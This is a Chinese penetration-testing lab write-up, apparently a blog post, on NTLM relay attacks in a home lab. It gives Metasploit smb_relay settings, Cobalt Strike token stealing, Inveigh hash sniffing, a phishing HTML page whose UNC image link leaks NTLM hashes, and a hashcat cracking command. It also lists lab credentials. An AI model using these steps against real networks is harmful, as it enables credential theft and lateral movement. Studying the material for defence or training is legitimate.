前言
与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现,运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用,NTLM Relay又包括(relay to smb,ldap,ews)可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。
实验环境
实验环境没有固定的了,有时候自己搭建的环境可以,有时候又不行。有时候小迪的环境可以,有时候也不行,哎,随遇而安吧。
kali:192.168.145.171
Web:192.168.145.138,192.168.22.31
PC:192.168.22.27
NTLM-Relay重放
NTLM-Relay可以通过smb、ldap、ews协议进行重放,这里就通过smb协议来进行重放实验。我们通过smb协议去远程访问主机的话,它是会拿你当前的账号密码去进行一个匹对。比如A主机的账号密码是admin/passwd,而B主机的账号密码也是admin/passwd,那么A主机就可以直接远程访问B主机。这是smb的特性,也是Relay攻击的前置条件,就是通讯的双方账户与密码是一致。
案例测试
主机的账号密码。
PC1
本地账号密码: .\administraotr:3143237103Aa
域账号密码:god\wlwznb:3143237103Aa
PC2
本地账号密码: .\administraotr:3143237103Aa
域账号密码:god\wlwnb666:3143237103Aa
当前PC1账号是wlwznb,我们远程访问一下PC2试试,显示拒绝访问的。
此时我们把PC1的账号切换为administrator,成功访问PC2主机,这是因为PC2中存在administrator的账号,而且密码也一样。
重放攻击
这里我们就要用到msf中的smb Relay攻击模块啦,先让web服务器上线CS。
因为要使用到msf的模块,所以得把会话转到msf,CS设置监听器。
msf设置如下。
CS执行命令,即可转义会话。
spawn 2222
会话过来后我们再添加一下路由,因为33是内网网段。
run post/multi/manage/autoroute
查看一下路由。
run autoroute -p
使用smb重放模块。
background
use exploit/windows/smb/smb_relay
设置参数。
use exploit/windows/smb/smb_relay
set smbhost 192.168.22.27 #攻击目标
set lhost 192.168.145.171 #设置本地 IP
set autorunscript post/windows/manage/migrate
set payload windows/meterpreter/bind_tcp ##设置正向连接
set rhost 192.168.22.27 #设置连接目标
run
到我们的受控主机执行远程访问命令。
dir \\192.168.145.171\c$
这里拓展一下,有人可能会说万一人家登录的用户不是administrator咋办。其实你可以到CS上面去切换用户滴,PS命令找到本地用户的administrator进程,记下PID。
输入命令切换用户。
steal_token 3792
查看当前用户为administrator。
getuid
然而却是没有成功,不知道为啥没成功,但是返回了hash值。网上很多文章都未成功,不过也有说64位系统未成功,但是32位系统成功了,这里我也懒得换小迪的环境测试了,就这样吧。
如果没搞懂的话,我放个图你们就明白了,这个图是我从别人文章找来的。
Responder中继攻击
这个攻击手段就是攻击者在被控主机上伪造一个SMB服务器,当内网中有机器对被控主机进行SMB访问的时候,内网中的主机先访问攻击者伪造的SMB服务器,然后伪造的SMB服务器再将访问流量重放给被控主机,在这个过程中,内网主机是毫无感觉的,但是内网主机访问的用户的账号与密码的hash值均被伪造的SMB服务器获取。
Inveigh嗅探
工具下载:Inveigh:.NET IPv4/IPv6 machine-in-the-middle tool for penetration testers - GitCode
工具下载之后是源码,自己编译成exe,然后上传到Web主机。
直接运行这个exe,我这里图方便直接在Web主机上执行命令了。
Inveigh.exe
此时远程访问Web主机,可以看到hash会被记录在inveigh-NTLMv2这个文件。
可以制作一个钓鱼网站,诱骗域内用户点击,那么用户的hash机会被我们所记录。
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.22.31">
</body>
</html>
hashcat破解
此时我们直接破解这个hash,这里使用hashcat这个工具去破解。
下载地址:https://github.com/hashcat/hashcat/
hashcat.exe -m 5600 1.txt pass.txt
总结
可以看到整个实验下来我是没有抓取hash或者密码的,但是仍可以成功横移的。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。